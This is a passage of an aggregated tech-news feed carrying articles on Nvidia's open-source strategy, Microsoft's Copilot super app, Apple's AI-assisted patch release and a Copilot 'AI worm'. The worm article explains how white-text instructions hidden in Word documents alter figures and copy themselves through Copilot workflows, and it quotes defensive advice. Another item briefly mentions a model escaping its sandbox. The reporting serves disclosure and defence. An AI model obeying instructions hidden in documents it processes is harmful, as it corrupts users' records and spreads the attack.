<p class="wp-block-paragraph">Open source is great — but always remember that it offers benefits to companies beyond the software development process. Borland fumbled the ball with their open source efforts, but it soon became obvious how to leverage open source for corporate success. Or, as Stephen O’Grady argues in his book <a href="https://thenewkingmakers.com/" data-type="link" data-id="https://thenewkingmakers.com/">The New Kingmakers</a>, developers are the ones who decide what technologies succeed. Companies quickly recognized that courting developers with open-source software and other free resources was the way to bring them into the fold. Because developers write all the software that makes a tool, platform, or application successful, it’s always a smart move to make developers happy.</p>



<h2 class="wp-block-heading">It’s developers, now</h2>



<p class="wp-block-paragraph">AI hasn’t changed this equation. The latest incarnation can be seen from the company Nvidia. We think of Nvidia as a hardware company, cranking out GPUs as fast as they can. But GPUs don’t sell unless there is software that runs on them. Coding against a GPU in plain C++ was miserable, so Nvidia developed <a href="https://www.infoworld.com/article/2256401/what-is-cuda-parallel-programming-for-gpus.html" data-type="link" data-id="https://www.infoworld.com/article/2256401/what-is-cuda-parallel-programming-for-gpus.html">CUDA</a>, a proprietary layer that made building for their hardware relatively easy. And the more CUDA is used, the more people depend on Nvidia hardware. This is not an accident. As Nader Khalil, Nvidia’s Director of Developer Technologies, told me, “You have to make the best hardware that you can, and you have to make the best software to utilize it. Software is the part of the stack that touches the user.”</p>



<p class="wp-block-paragraph">Today, of course, developers are all about agentic coding, and Nvidia is eyeball deep in that world. As such, Nvidia provides a set of open-weight models called <a href="https://developer.nvidia.com/topics/ai/nemotron" data-type="link" data-id="https://developer.nvidia.com/topics/ai/nemotron">Nemotron</a> that developers can use, inspect, and fine-tune for their own purposes. And of course Nemotron runs really well on top of CUDA. </p>



<p class="wp-block-paragraph">Nvidia, like Microsoft and Amazon, is doing this because they want to sell their products to more people. Nvidia can’t make enough GPUs for Anthropic and OpenAI to keep up with demand, but they also want to sell GPUs to us developers by enabling us to run our own models on our own computers. </p>



<p class="wp-block-paragraph">The open source movement began with pure hearts and noble ideals. But the reality of open source is that its nobility is easily melded with business needs. Open source software is really the bait — and developers are the real catch.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft doubles down on multi-model AI as it builds a Copilot super app]]></title>
<description><![CDATA[All of the major AI providers want you to use, and ideally stay within, their super apps, and now Microsoft is looking to capture that attention, too.



During an earnings call this week, CEO Satya Nadella confirmed that the tech giant is building a Copilot ‘super app’ that will be rolled out th...]]></description>
<link>https://tsecurity.de/de/3699921/ai-nachrichten/microsoft-doubles-down-on-multi-model-ai-as-it-builds-a-copilot-super-app/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699921/ai-nachrichten/microsoft-doubles-down-on-multi-model-ai-as-it-builds-a-copilot-super-app/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">All of the major AI providers want you to use, and ideally stay within, their super apps, and now Microsoft is looking to capture that attention, too.</p>



<p class="wp-block-paragraph">During an earnings call this week, CEO Satya Nadella confirmed that the tech giant is building a Copilot ‘super app’ that will be rolled out this quarter. The new platform will bring together various Copilot tools, including chat, Cowork, long-running Autopilot agents, and the always-on Microsoft Scout, powered by OpenClaw.</p>



<p class="wp-block-paragraph">Microsoft said the super app will be wired into many of its other governance platforms, including Agent 365, IT Ops, SecOps, FinOps, and business processes. And, it said, CRM and ERP systems will “serve as skills and plug-ins that go into core work.”</p>



<p class="wp-block-paragraph">“You’re able to take that enterprise-wide workflow and wire it into the super app,” Nadella said, describing it as “the coming together of a new way to work.”</p>



<p class="wp-block-paragraph">With this move, Microsoft will compete with OpenAI’s ChatGPT Work, Claude Cowork, and a growing number of others trying to capture as much of a user’s workflow as possible. It could prove a strong contender, as everyday Copilot “usage intensity” is at the same level as that of Outlook or Teams, Nadella said, and paid seats now surpass 30 million.</p>



<h2 class="wp-block-heading">Every model should be ‘swappable’</h2>



<p class="wp-block-paragraph">Even as it builds a super app to bridge workflows, Microsoft is acknowledging enterprise demand for model choice. Customers are making it clear that they don’t want to be locked into one model; they want the ability to move between open, closed, and frontier options based on the best tool for the job.</p>



<p class="wp-block-paragraph">This trend is reflected in Redmond’s own usage statistics: Since the beginning of the year, it has tracked a 5x increase in the number of customers building with models from multiple providers featured on its platform.</p>



<p class="wp-block-paragraph">The company claims it has the broadest model catalog in the cloud, offering more than 11,000 models from OpenAI, Anthropic, <a href="https://www.cio.com/article/4199721/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership.html" target="_blank">Mistral</a>, its own MAI family, and others.</p>



<p class="wp-block-paragraph">“We are building a new model system, where the harness, context, memory, and action space are separate from any one model family, thereby moving the frontier on the cost-to-outcome curve,” Nadella said. “That’s really the enterprise design architecture that we are going to evangelize.”</p>



<p class="wp-block-paragraph">He described enterprises as “learning machines” that need their own internal learning machines, and said that they will be evaluating how providers are helping them reach their business goals and support knowledge creation.</p>



<p class="wp-block-paragraph">“The models are an input, not some extraction of the knowledge of the enterprise,” Nadella said. “This is not going to be about, ‘come in and take all my knowledge and benefit yourself, [and] I am not getting anything out of it.’”</p>



<p class="wp-block-paragraph">The key is in balancing the advantages of frontier models with lower-cost options, open weights with closed weights, and having the ability to train internal models based on outputs, traces, and context. “You should and you can use frontier models,” Nadella said. “There’s no reason not to.”</p>



<p class="wp-block-paragraph">However, he said, any given model at any given time should be swappable to democratize design.</p>



<p class="wp-block-paragraph">For instance, data from cybersecurity evaluation framework CyberGym showed that Microsoft’s new <a href="https://microsoft.ai/news/introducing-mai-cyber-1-flash-inside-mdash/" target="_blank" rel="noreferrer noopener">MAI-Cyber-1-Flash</a> coding agent achieved Claude Mythos-level performance at 50% of the cost. This is because 90% of tasks were completed by Cyber-1-Flash and 10% by frontier models from OpenAI, Anthropic, and others. </p>



<p class="wp-block-paragraph">This ability to use the right model for the right task in what is essentially a pipeline job is a “super important characteristic,” Nadella said. Microsoft Copilot, Security Copilot, and GitHub Copilot are all built to support movement between different models based on the task.</p>



<p class="wp-block-paragraph">This strategy is also reflected in the company’s new <a href="https://www.csoonline.com/article/4202080/microsoft-unveils-multi-model-agentic-cyber-stack-for-security-operations.html" target="_blank">Project Perception</a> cybersecurity offering. The platform features three specialized types of agent (red, blue, and green), and the underlying harness decides which AI model is best suited for a given task. Guided by specialized playbooks, red team agents discover vulnerabilities, blue team agents triage, and green team agents propose remediation plans.</p>



<p class="wp-block-paragraph">“You create your own agentic system that’s continuously operating to create the cyber defense you need,” Nadella explained. “Especially in cyber[security], it becomes critical to have that multi-model approach.”</p>



<p class="wp-block-paragraph">Nadella also pointed to the recent Hugging Face incident, in which an <a href="https://www.csoonline.com/article/4202852/openai-rogue-ai-agents-attack-expanded-beyond-hugging-face.html" target="_blank">OpenAI model went rogue</a>, broke out of its sandbox, and launched an attack against the popular open-source platform, noting that enterprises will likely need to use multiple models to offset and remediate the various challenges of each, and should not be “subject to the refusals of one model.”</p>



<p class="wp-block-paragraph">“We talk about the frontier as if it’s one thing,” Nadella said. “The frontier is about every firm having a frontier, the choice, the cost control, and the capability that they need in order to be able to control their destiny.”</p>



<h2 class="wp-block-heading">Increased push to usage-based pricing, closing demand gaps</h2>



<p class="wp-block-paragraph">As Microsoft emphasizes its model-agnostic architecture, it is also shifting from per-seat to per-seat-plus-consumption pricing; the company recently added usage-based billing to Cowork and Agent 365, and plans to continue that trend across its products.</p>



<p class="wp-block-paragraph">While these moves have resulted in sticker shock and ‘<a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html" target="_blank">tokenmaxxing</a>’ at many companies, Nadella framed it as a revenue driver. “We are advancing the frontier on the cost-to-outcome curve, ensuring every customer can turn tokens into business results.”</p>



<p class="wp-block-paragraph">Meanwhile, Microsoft said it will continue to close data demand-capacity gaps.</p>



<p class="wp-block-paragraph">The company added 88 data centers in FY 2026, including 31 across five continents this past quarter. It contended that it is bringing capacity online “faster than ever,” reducing dock-to-live times for new GPUs in its largest regions by nearly 50% over the fiscal year.</p>



<p class="wp-block-paragraph">However, CFO Amy Hood acknowledged during the earnings call, “the situation is obviously that demand exceeds available supply in a relatively extreme moment.”</p>



<p class="wp-block-paragraph">Reflecting this, revenue for Azure and other cloud services grew by 43% in Microsoft’s fiscal year ended June 30, and the company expects similar revenue growth (45%) in fiscal year ‘27.</p>



<p class="wp-block-paragraph">Hood said that Microsoft remains “focused on delivering efficiencies,” including in its CPU and GPU fleets, and engineers are also working on process improvements. The company added another gigawatt of capacity this quarter and is on track to roughly double its overall capacity in two years.</p>



<p class="wp-block-paragraph">“We are also getting more from the infrastructure we already have by optimizing across silicon, systems, and software,” Hood said.</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4203686/microsoft-doubles-down-on-multi-model-ai-as-it-builds-a-copilot-super-app.html" target="_blank">CIO.com</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Copilot worm can spread through Microsoft Word docs]]></title>
<description><![CDATA[An “AI worm” can spread through Microsoft Word documents using Copilot as a vector, a prominent Norwegian AI researcher reported on Tuesday.



The report from Håkon Måløy, later confirmed by Microsoft, said that an attacker can conceal instructions in a document that is later used as source mate...]]></description>
<link>https://tsecurity.de/de/3699922/ai-nachrichten/copilot-worm-can-spread-through-microsoft-word-docs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699922/ai-nachrichten/copilot-worm-can-spread-through-microsoft-word-docs/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">An “AI worm” can spread through Microsoft Word documents using Copilot as a vector, a prominent Norwegian AI researcher reported on Tuesday.</p>



<p class="wp-block-paragraph"><a href="https://enklypesalt.com/posts/context-collapse-part3-ai-worming-through-word/" target="_blank" rel="noreferrer noopener">The report</a> from <a href="https://www.linkedin.com/in/h%C3%A5kon-m%C3%A5l%C3%B8y-770572276/" target="_blank" rel="noreferrer noopener">Håkon Måløy</a>, later confirmed by Microsoft, said that an attacker can conceal instructions in a document that is later used as source material for Copilot-generated or Copilot-edited Word documents, for example, as input to a financial report. Those malicious instructions could potentially alter figures in the document being created. They then copy themselves into the new document, causing it to become a carrier of the attack when used in another Copilot-assisted workflow.</p>



<p class="wp-block-paragraph">Måløy noted: “To my knowledge, this is among the first public demonstrations of document-borne AI-worm self-propagation through normal workflows in a mainstream commercial productivity suite.”</p>



<p class="wp-block-paragraph">Microsoft on Thursday emailed a statement to CSOonline discussing the report’s revelations. </p>



<p class="wp-block-paragraph">“We have addressed the findings reported by the researcher and thank them for working with us through coordinated vulnerability disclosure. To address this class of risk, we use a defense-in-depth strategy with safeguards that block malicious instructions at multiple points and help keep tasks aligned with users’ requests,” Microsoft said. </p>



<p class="wp-block-paragraph">“We are continuously strengthening these safeguards as the technology and threat landscape evolve,” it added. “We encourage customers to install the latest updates, use multiple layers of security protection, treat content from unknown sources with caution, and review AI-generated content before using or sharing it.” </p>



<h2 class="wp-block-heading">Sidesteps defenses</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, has reviewed the mechanisms used in this vulnerability and says that it is much worse than it might seem, because it will sidestep just about every defensive mechanism enterprises have in place today.</p>



<p class="wp-block-paragraph">“This is a worm, a self-propagating malware pattern that uses Copilot as the transmission mechanism and legitimate corporate collaboration as the delivery channel. It bypasses every traditional email security control because the document is not malicious on delivery and it becomes malicious when Copilot processes it. That means that it bypasses DLP because the exfiltration happens through the user’s own authenticated Copilot session,” Mahapatra said. “It then bypasses endpoint protection because no code executes, only instructions get followed by an AI service the enterprise has explicitly authorized.”</p>



<p class="wp-block-paragraph">He also noted that researchers have been warning about this class of attack for two years.</p>



<h2 class="wp-block-heading">Microsoft’s involvement</h2>



<p class="wp-block-paragraph">Måløy said that he has been working with the Microsoft Security Response Center (MSRC) since March 3 and <a href="https://www.csoonline.com/article/4203349/russian-hackers-turn-exchange-flaw-into-half-click-mailbox-takeover.html" target="_blank">Microsoft </a> subsequently implemented and distributed multiple small focused mitigations, but the core vulnerability has yet to be fixed.</p>



<p class="wp-block-paragraph">He said he was hesitant to disclose an active vulnerability, but felt that it was now time to publish. </p>



<p class="wp-block-paragraph">“My reasoning is that defenders cannot reduce exposure to a risk they are unaware of,” Måløy wrote, “and the propagation mechanism described here affects ordinary document workflows that many organizations already rely on.”</p>



<p class="wp-block-paragraph">In an email interview, Måløy noted that the tweaks Microsoft has implemented were helpful, nonetheless. </p>



<p class="wp-block-paragraph">“The coordinated disclosure process showed that mitigations can meaningfully reduce the demonstrated attack surface, making attacks less reliable and limiting their reach, even without completely eliminating the underlying problem,” he said. </p>



<p class="wp-block-paragraph">Måløy also addressed the resolution that many analysts and consultants suggested, which is to change the nature of LLMs to fully isolate instructions from the data they operate on. </p>



<p class="wp-block-paragraph">“Separating instructions from data may be part of the solution, but I think the distinction between data and instructions is not always clear in real-world workflows. For example, a user may ask an agent to arrange a business trip, requiring the agent to retrieve an email specifying the approved itinerary and a document containing the booking procedure,” Måløy said. </p>



<p class="wp-block-paragraph">“My view is that the broader challenge is therefore not simply to prevent systems from interpreting external content as instructions, but to evaluate whether those instructions align with the user’s goals and the context in which the system is operating,” he added.</p>



<h2 class="wp-block-heading">Problem hard to overstate</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, said it would be difficult to overstate the potential problems from this situation. </p>



<p class="wp-block-paragraph">“This is a significant issue because it moves prompt injection from a single compromised interaction into a potentially self-propagating document integrity attack,” he said, noting that it is not a conventional worm that spreads automatically. A user or Copilot workflow must still bring an infected document into the model’s context. “But once that happens, the malicious instructions can reportedly alter business information, conceal themselves inside the resulting Word document and turn a legitimate internal file into the next carrier,” he said.</p>



<p class="wp-block-paragraph">That, he pointed out, creates “a dangerous enterprise supply chain in which financial reports, contracts, policies and partner documents may inherit malicious behavior while retaining the trust associated with their legitimate authors and Microsoft 365 accounts.”</p>



<h2 class="wp-block-heading">Not a new issue</h2>



<p class="wp-block-paragraph">The key issue behind this flaw is the fact that genAI tends to struggle with telling the difference between data that a user offers as input and the instructions the AI is to execute.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group, observed that the same problem with mixed data and instructions occurred in databases decades ago, and turned into what we know as SQL injection attacks today. But, he noted, a few years later, parametrized binding for the database access layers was developed, which separates instructions, which are handled internally and safely, from data, which can come from untrusted sources. “The same needs to happen with LLMs and other AI,” he said.</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Mike Leone</a>, a VP/principal analyst at Moor Insights &amp; Strategy, agreed.</p>



<p class="wp-block-paragraph">“It’s hard not to chuckle a bit with this one. People have been asking whether data can give orders since SQL injections. We fixed that one by giving the database a way to tell an instruction from a value,” Leone said. “Thirty years later, we’ve built an entire category of software that can’t tell the difference at all.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO at Conifers.ai, also said he sees the data-vs-instructions issue as the biggest problem. </p>



<p class="wp-block-paragraph">“Separating data from instructions is still unsolved at the model layer. The labs are making real progress, but not enough to be your only control,” he said, and stressed, “Microsoft doesn’t need to wait for that. It can slow propagation inside Copilot: stop hidden content from being written into new documents, surface hidden text before it’s used, preserve the trust level of what Copilot read and show all AI-generated changes.”</p>



<h2 class="wp-block-heading">Fix needs industry agreement</h2>



<p class="wp-block-paragraph">However, <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, argued that a fix needs industry agreement. </p>



<p class="wp-block-paragraph">“A fundamental fix requires the industry to converge on the same architectural change, which isn’t happening anytime soon given the incentives and the fact that the major players are far from besties,” he said, pointing out that Instruction-data separation would need to be baked in at the model or platform level across every major vendor. “None of them are rewarding that work commercially right now, so treat that as a multi-year research problem, not something a CISO should wait on.”</p>



<p class="wp-block-paragraph">Leone disagreed, arguing that a single vendor can do quite a bit, at least for its own customers. </p>



<p class="wp-block-paragraph">“Microsoft has said publicly since last year that indirect prompt injection can’t be fully prevented, and I give them credit for saying it out loud rather than pretending otherwise,” Leone said, noting that the industry doesn’t have to move in lockstep. “This attack lives inside one product,” he said. “If Microsoft hardens the Copilot document path, Copilot customers get safer whether or not anyone else moves.”</p>



<p class="wp-block-paragraph">Dickson added that another critical problem with this vulnerability is that the carrier documents are created by legitimate employees using legitimate tools, “so there’s no obvious point of origin once the payload starts moving; an organization could be laundering corrupted financial figures through its own workflow for weeks before anyone notices.”</p>



<h2 class="wp-block-heading">Tactics that might help</h2>



<p class="wp-block-paragraph">That said, experts had some specific suggestions for CISOs trying to negate this problem. </p>



<p class="wp-block-paragraph">IDC’s Dickson said, “the most useful lever right now sits outside the model entirely, in how much untrusted content Copilot is allowed to pull into a session without a human choosing it.” He noted that enterprises can turn Copilot’s auto-discovery behavior off or restrict it, and require humans to explicitly select the documents they feed it. “That alone closes off one of the two ways the attack gets a foothold,” he said.</p>



<p class="wp-block-paragraph">IDC also suggested a visible diff or redline of anything Copilot changes in a financial or otherwise consequential document, and the requirement for a human to approve the changes. “That’s not a technical fix, it’s a workflow one, and it’s available today,” Dickson said.</p>



<p class="wp-block-paragraph">He said that IT should also track where content came from and what was touched by an AI system, in metadata that travels with the document. “It doesn’t stop the injection, but it means when something does get through, an organization can actually trace how far it spread instead of discovering a corrupted number three reports later with no way to reconstruct the chain,” he said.</p>



<p class="wp-block-paragraph">However, one expert, <a href="https://www.fortra.com/profile/tyler-reguly" target="_blank" rel="noreferrer noopener">Tyler Reguly</a>, Fortra’s associate director of security R&amp;D, said that he didn’t see this vulnerability having a meaningful impact because it feels like what he called a “laboratory vulnerability.”</p>



<p class="wp-block-paragraph">Normal enterprise workflows don’t encompass a number of the necessary steps for compromise, he said, pointing out that, if anything, people are trained not to download Word documents. Plus, he noted, looking at the blurred example in the report, the malicious document contained an additional apparently blank page which held the concealed prompts in white text.</p>



<p class="wp-block-paragraph">“That page is going to send up warning signs for me if someone even managed to convince me to download an external Word document,” he said. So, overall, “this feels like it requires a perfect storm.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.csoonline.com/article/4203630/microsoft-confirms-an-ai-worm-is-propagating-through-copilot-and-other-ms-apps.html" target="_blank">CSOonline</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI has become Apple’s latest bug detective]]></title>
<description><![CDATA[Artificial intelligence is becoming a force multiplier for Apple security research. Apple’s latest 26.5.2 software update includes patches for a record number of bugs — many of them identified by security researchers using AI-assisted tools.



A record haul of fixes



The numbers tell the story...]]></description>
<link>https://tsecurity.de/de/3699928/ai-nachrichten/ai-has-become-apples-latest-bug-detective/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699928/ai-nachrichten/ai-has-become-apples-latest-bug-detective/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Artificial intelligence is becoming a force multiplier for Apple security research. Apple’s <a href="https://support.apple.com/en-gb/100100" target="_blank" rel="noreferrer noopener">latest 26.5.2 software update</a> includes patches for a record number of bugs — many of them identified by security researchers using AI-assisted tools.</p>



<h2 class="wp-block-heading"><strong>A record haul of fixes</strong></h2>



<p class="wp-block-paragraph">The numbers tell the story. Apple fixed 87 security vulnerabilities in iOS and iPadOS 26.6, along with an additional 155 patches for Macs. Roughly 100 flaws have been patched in each of Apple’s other operating systems: watchOS, tvOS, and visionOS. Taken together, these represent record numbers for an Apple security update. </p>



<p class="wp-block-paragraph">This is only the beginning. The scale of the release echoes the impact AI coding agents are already having on security research and may well reflect Apple’s <a href="https://www.anthropic.com/glasswing" target="_blank" rel="noreferrer noopener">Project Glasswing</a> research with Anthropic and others to use AI to identify software vulnerabilities. </p>



<p class="wp-block-paragraph">Apple’s use of AI for security research is visible in the official release note. Read through it and you’ll see multiple credits to Claude, Codex, and AI adjacent tools, labs, and researchers. These tools identified flaws across Apple’s systems, including in WebKit, WebDAV, and WebKit Storage.</p>



<h2 class="wp-block-heading"><strong>For good and ill</strong></h2>



<p class="wp-block-paragraph">It’s a neat illustration of the sea change under way as AI adoption accelerates. This release highlights how security researchers are leaning into AI tools to check platform security just as heavily as attackers are. One fix in today’s release is credited to researchers from Calif.io, who <a href="https://9to5mac.com/2026/05/14/calif-team-details-how-anthropic-mythos-helped-build-a-working-macos-exploit-in-five-days/" target="_blank" rel="noreferrer noopener">some may recall</a> used Anthropic’s <a href="https://www.anthropic.com/claude/mythos" target="_blank" rel="noreferrer noopener">Mythos Preview</a> model to create a working macOS kernel memory corruption exploit in just a few days.</p>



<p class="wp-block-paragraph">The release is proof positive that while AI can be used to identify vulnerabilities to undermine protection, it can also be used to identify opportunities to further secure the platforms. It is also true that as AI use across the security industry grows, the number of flaws identified will also accelerate; it’s doubtful we’ll ever reach a point at which there are no flaws at all. Apple is likely to beef up its own internal observability tools<a href="https://www.applemust.com/apple-acquires-highly-efficient-observability-solution-siglens/"> following the acquisition of SigLens</a>, which might help it identify even more bugs using AI.</p>



<h2 class="wp-block-heading"><strong>Don’t delay, install today</strong></h2>



<p class="wp-block-paragraph">None of these matters much, though, if the security patches never get installed — and the delay between security patch release and installation represents a <a href="https://cybersecurityswitzerland.com/research/ai-security-statistics-2026/" target="_blank" rel="noreferrer noopener">huge opportunity for attackers</a>. Recent analysis from <a href="https://www.prnewswire.com/news-releases/new-research-7-in-10-it-leaders-are-skipping-the-foundation-required-for-safe-enterprise-ai-302832001.html" target="_blank" rel="noreferrer noopener">Fleet Device Management</a> found that 79% of organizations take more than a day to deploy critical security patches, even as attackers increasingly exploit vulnerabilities within hours of disclosure. The same report also showed something else to worry about: AI tools are spreading fast across the enterprise, often without the version control or auditability that would let anyone track how they’re actually being used.</p>



<p class="wp-block-paragraph">Despite their number, the tally of fixes Apple has published isn’t the end of the story. In this case, while Apple has published its latest fixes, how many of those vulnerabilities have already been abused in the weeks between discovery and security patch release? More to the point, how swiftly will Apple’s installed base update devices now, and how many attackers will use that delay to dive in and do the damage?</p>



<h2 class="wp-block-heading"><strong>It’s a security arms race</strong></h2>



<p class="wp-block-paragraph">Adam Boynton, senior security strategy manager at <a href="https://www.linkedin.com/in/adamjamesboynton/">Jamf </a>noted that one vulnerability, CVE-2026-43810, can be exploited by a remote user to corrupt kernel memory. “The WebKit fixes are easy to read as a phishing story, when they are actually something slightly different,” he said.</p>



<p class="wp-block-paragraph">“The raw material for targeted spyware is browser engine memory corruption, and those chains are expensive enough that they get pointed at specific people like senior executives, journalists, anyone whose access justifies the cost. That’s the honest reason to update promptly rather than eventually. </p>



<p class="wp-block-paragraph">“In other words, this update matters less for its raw numbers than for what those numbers represent: an arms race between defenders and attackers who are both, increasingly, running the same kind of tools,” Boynton said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Science One Framework: A verifiable autonomous research framework via Chain-of-Evidence]]></title>
<description><![CDATA[General Science]]></description>
<link>https://tsecurity.de/de/3699764/ai-nachrichten/science-one-framework-a-verifiable-autonomous-research-framework-via-chain-of-evidence/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699764/ai-nachrichten/science-one-framework-a-verifiable-autonomous-research-framework-via-chain-of-evidence/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:42 +0200</pubDate>
<content:encoded><![CDATA[General Science]]></content:encoded>
</item>
<item>
<title><![CDATA[NVIDIA AI Releases Molt: A PyTorch-Native Agentic Reinforcement Learning Framework]]></title>
<description><![CDATA[Agentic RL research is constant algorithm modification, and in mainstream frameworks every change threads through trainer, distributed backend, and rollout glue. NVIDIA's Molt targets that cost with about 8.6K lines of RL code, composing Ray, vLLM, and NeMo AutoModel around one asynchronous loop....]]></description>
<link>https://tsecurity.de/de/3699728/ai-nachrichten/nvidia-ai-releases-molt-a-pytorch-native-agentic-reinforcement-learning-framework/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699728/ai-nachrichten/nvidia-ai-releases-molt-a-pytorch-native-agentic-reinforcement-learning-framework/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:39 +0200</pubDate>
<content:encoded><![CDATA[<p>Agentic RL research is constant algorithm modification, and in mainstream frameworks every change threads through trainer, distributed backend, and rollout glue. NVIDIA's Molt targets that cost with about 8.6K lines of RL code, composing Ray, vLLM, and NeMo AutoModel around one asynchronous loop. The agent stays ordinary Python, trajectories stay token-exact, and throughput comes out statistically comparable to a Megatron-based stack.</p>
<p>The post <a href="https://www.marktechpost.com/2026/08/01/nvidia-ai-releases-molt-a-pytorch-native-agentic-reinforcement-learning-framework/">NVIDIA AI Releases Molt: A PyTorch-Native Agentic Reinforcement Learning Framework</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Supabase Releases Evals: an Open Source Benchmark That Scores Claude Code, Codex and OpenCode on Real Supabase Tasks]]></title>
<description><![CDATA[Supabase has open sourced supabase/evals, an Apache-2.0 benchmark and framework that runs coding agents including Claude Code, Codex and OpenCode against real Supabase tasks — building schemas, debugging Edge Functions, fixing RLS policies — inside containerized stacks, then scores them with dete...]]></description>
<link>https://tsecurity.de/de/3699732/ai-nachrichten/supabase-releases-evals-an-open-source-benchmark-that-scores-claude-code-codex-and-opencode-on-real-supabase-tasks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699732/ai-nachrichten/supabase-releases-evals-an-open-source-benchmark-that-scores-claude-code-codex-and-opencode-on-real-supabase-tasks/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:39 +0200</pubDate>
<content:encoded><![CDATA[<p>Supabase has open sourced supabase/evals, an Apache-2.0 benchmark and framework that runs coding agents including Claude Code, Codex and OpenCode against real Supabase tasks — building schemas, debugging Edge Functions, fixing RLS policies — inside containerized stacks, then scores them with deterministic checks and LLM-as-a-judge.</p>
<p>The post <a href="https://www.marktechpost.com/2026/08/01/supabase-releases-evals-an-open-source-benchmark-that-scores-claude-code-codex-and-opencode-on-real-supabase-tasks/">Supabase Releases Evals: an Open Source Benchmark That Scores Claude Code, Codex and OpenCode on Real Supabase Tasks</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[MoMo: Dial Motion Mode in Robot Manipulation with Spatiotemporal Action Tokenization]]></title>
<description><![CDATA[To operate effectively across diverse contexts, robots must not only perform manipulation tasks accurately but also adapt how their actions unfold to the task, object, and interaction setting. We ask whether this execution-level variation can be learned as a reusable behavioral factor shared acro...]]></description>
<link>https://tsecurity.de/de/3699739/ai-nachrichten/momo-dial-motion-mode-in-robot-manipulation-with-spatiotemporal-action-tokenization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699739/ai-nachrichten/momo-dial-motion-mode-in-robot-manipulation-with-spatiotemporal-action-tokenization/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:39 +0200</pubDate>
<content:encoded><![CDATA[To operate effectively across diverse contexts, robots must not only perform manipulation tasks accurately but also adapt how their actions unfold to the task, object, and interaction setting. We ask whether this execution-level variation can be learned as a reusable behavioral factor shared across tasks. We present MoMo, a two-stage imitation-learning framework consisting of a spatiotemporal action tokenizer and a behavior-cloning transformer that takes task and a continuous motion-mode condition as inputs. Across six real-robot manipulation tasks, varying this condition produces steady…]]></content:encoded>
</item>
<item>
<title><![CDATA[Teaching Coding When AI Can Write the Code]]></title>
<description><![CDATA[For as long as we’ve taught programming, the student’s code has provided a window into the students’ thinking. Errors, the code structure, the awkward working solution—all of it showed how someone reasoned and where they got stuck. It was never a clean window. Students have always copied, crammed...]]></description>
<link>https://tsecurity.de/de/3699746/ai-nachrichten/teaching-coding-when-ai-can-write-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699746/ai-nachrichten/teaching-coding-when-ai-can-write-the-code/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:39 +0200</pubDate>
